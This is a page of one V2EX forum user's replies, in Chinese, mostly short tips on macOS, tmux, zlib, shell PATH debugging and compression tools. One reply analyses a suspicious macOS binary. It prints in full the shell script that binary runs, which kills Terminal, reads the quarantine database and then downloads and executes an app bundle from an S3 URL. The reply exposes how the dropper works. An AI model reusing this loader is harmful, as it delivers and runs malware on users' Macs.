V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  lcdtyph  ›  全部回复第 22 页 / 共 51 页
回复总数  1012
1 ... 18  19  20  21  22  23  24  25  26  27 ... 51  
2020-11-24 12:23:54 +08:00
回复了 FaiChou 创建的主题 iDev iOS 可以几行代码绕过系统代理, 为什么大家都不这么做?
实际上 qx surge 等软件有两种代理方式,一种是开在本地的 http 代理,即你说的可以 bypass 的方式

第二种是虚拟出来的 utun 网络设备,这个网络设备的 handler 中有一套自己的 tcp/ip 协议栈来处理应用过来的连接,自然也可以对这个连接的内容识别和修改。比如 surge 有个选项是 perform on tcp connection 就是你这种方式无法绕过的
2020-11-23 20:54:40 +08:00
回复了 HHPLow 创建的主题 C 偷懒是人类进步的阶梯,请问大佬们 C 如何运行时生成函数指针
我觉得你连需求都没描述清楚……

盲建议个跳转表吧
2020-11-19 19:02:28 +08:00
回复了 tomychen 创建的主题 Linux 各位用 tmux 是习惯默认的 C-b 呢,还是自定义到其他键
@SvenKim
vim 里 :set mouse= 可以禁用鼠标
你可以看一下两个环境是谁改了这个选项
2020-11-19 14:45:28 +08:00
回复了 tomychen 创建的主题 Linux 各位用 tmux 是习惯默认的 C-b 呢,还是自定义到其他键
用了 C-\
感觉是冲突概率比较小的组合了
2020-11-11 03:07:17 +08:00
回复了 Zhuzhuchenyan 创建的主题 Apple 有点激动 mac mini, macbook air, macbook pro 13
pro 的续航时间真的很诱人啊
2020-11-07 19:03:40 +08:00
回复了 VHacker1989 创建的主题 English 关于英文单词 foo 到底是什么意思
placeholder,简单来说当你不知道取个什么名字,而且名字不重要的时候就可以用 foo,bar,foobar 来占位

就类似指代人名时候的张三、李四
dlopen
2020-11-05 21:20:33 +08:00
回复了 Kingfish404 创建的主题 问与答 Mac 的 PATH 变量中有个找不到在哪里添加的路径怎么办?
@Kingfish404 #8
```zsh -o SOURCE_TRACE```
2020-11-05 21:11:42 +08:00
回复了 Kingfish404 创建的主题 问与答 Mac 的 PATH 变量中有个找不到在哪里添加的路径怎么办?
~/.zprofile
~/.zshrc
这些呢
2020-11-05 20:26:28 +08:00
回复了 Kingfish404 创建的主题 问与答 Mac 的 PATH 变量中有个找不到在哪里添加的路径怎么办?
检查一下 /etc/paths.d/下的所有文件
2020-11-05 01:10:11 +08:00
回复了 wingkou 创建的主题 Python zlib compress 后 decompress 得不到原来的内容( Python 3.8)
(de)compressobj()返回的对象是有状态的,主要用来处理流数据,在输入结束之后要调用 obj.flush() 来接收最后一段输出

如果是一次性压缩解压可以直接调用 zlib.compress 。如果一定要用(de)compressobj 可以这样:
cobj = zlib.compressobj()
dobj = zlib.decmpressobj()

data2 = cobj.compress(data1)
data2 += cobj.flush()

data3 = dobj.decompress(data2)
data3 += dobj.flush()
看了一眼,这个 binary 又执行了下面这个 shell 脚本:

```bash
temp_dir() { if [ -n "${TMPDIR}" ]; then echo "${TMPDIR}"; else getconf DARWIN_USER_TEMP_DIR; fi; }
where_from_url() { /usr/bin/sqlite3 "${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2" "SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1" 2> /dev/null; }
extract_did() {
local -r url="$(where_from_url)"
local query="${url#*\?}"
local did_find=0
for param in ${query//[=&]/ }; do
((did_find == 1)) && echo "${param}" && break
[ "${param}" == "utm_source" ] || [ "${param}" == "sidw" ] || [ "${param}" == "neo" ] && did_find=1
done
}
close_terminal() { killall "Terminal"; }
download() {
local -r url="${1}"
local -r tmp_dir="${2}"
local -r path="${tmp_dir}/$(uuidgen)"
if curl -f -s -o "${path}" "${url}"; then echo "${path}"; fi
}
unarchive() {
local -r tgz_path="${1}"
[ -z "${tgz_path}" ] && return
local -r app_dir=$(/usr/bin/mktemp -d "$(dirname "${tgz_path}")/$(uuidgen)")
if tar -xzf "${tgz_path}" -C "${app_dir}"; then echo "${app_dir}"; fi
rm -rf "${tgz_path}"
}
app_path() {
local -r app_dir="${1}"
[ -z "${app_dir}" ] && return
local -r app_paths=("${app_dir}"/?*.app)
local -r app_path="${app_paths[0]}"
[ -d "${app_path}" ] && echo "${app_path}"
}
bin_path() {
local -r app_path="${1}"
[ -z "${app_path}" ] && return
local -r binary_paths=("${app_path}/Contents/MacOS"/?*)
local -r binary_path="${binary_paths[0]}"
echo "${binary_path}"
}
exec_bin() {
local -r bin_path="${1}"
local -r did="${2}"
local -r app_path="${3}"
[ -z "${bin_path}" ] && return
"${bin_path}" -did "${did}"
}

main() {
local -r url="${1}"
close_terminal
local -r did="$(extract_did)"
[ -z "${did}" ] && return
local -r tmp_dir="$(/usr/bin/mktemp -d "$(temp_dir)$(uuidgen)")"
local -r arch_path="$(download "${url}" "${tmp_dir}")"
local -r app_dir="$(unarchive "${arch_path}")"
local -r app_path="$(app_path "${app_dir}")"
local -r bin_path="$(bin_path "${app_path}")"
exec_bin "${bin_path}" "${did}" "${app_path}"
rm -rf "${tmp_dir}"
}

main "https://ywdd6wfq.s3.amazonaws.com/Installer.app.tgz" &
```

会从 ywdd6wfq.s3.amazonaws.com/Installer.app.tgz 这个网址下载个真正的 binary 然后执行
2020-10-29 17:15:37 +08:00
回复了 daozhihun 创建的主题 Apple macOS 11.0.1 开发者预览版的描述文件
sudo /System/Library/PrivateFrameworks/Seeding.framework/Versions/Current/Resources/seedutil enroll DeveloperSeed

不用切换描述文件也行
2020-10-29 12:15:37 +08:00
回复了 leeraya 创建的主题 Go 编程语言 go 语言就很离谱
for index, name1 := range xxx {
index, name1 := index, name1
// the rest code...
}
typedef struct mystruct *mystruct_t;

mystruct_t mystruct_new(...);
void mystruct_destroy(mystruct_t);
....

这样头文件里不会暴露这个结构体的细节
2020-10-29 10:22:09 +08:00
回复了 Pierson 创建的主题 Apple macOS 11.0.1 beta
11.0.1 matlab 还是没法用 plot 函数,这个 bug 从 11.0 beta 10 开始有的
2020-10-29 10:07:27 +08:00
回复了 Livid 创建的主题 Linux pigz - Parallel Implementation of GZip
@yyfearth
没,虽然提供了--threads 选项,但是 manpages 里有一句"Multithreaded compression and decompression are not implemented yet,
so this option has no effect for now."
2020-10-29 02:18:58 +08:00
回复了 Livid 创建的主题 Linux pigz - Parallel Implementation of GZip
一直在用,还有其他格式的几个
pixz 并行版的 xz
pbzip2 并行版的 bzip2

和 tar 联动的话可以这样
tar -Ipigz -xf xxx.tar.gz
2020-10-27 20:45:48 +08:00
回复了 jimmyismagic 创建的主题 奇思妙想 为什么毕业论文都要写致谢?
因为真的有要感谢的人
1 ... 18  19  20  21  22  23  24  25  26  27 ... 51  
关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1308 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 43ms · UTC 17:47 · PVG 01:47 · LAX 10:47 · JFK 13:47
Developed with CodeLauncher
♥ Do have faith in what you're doing.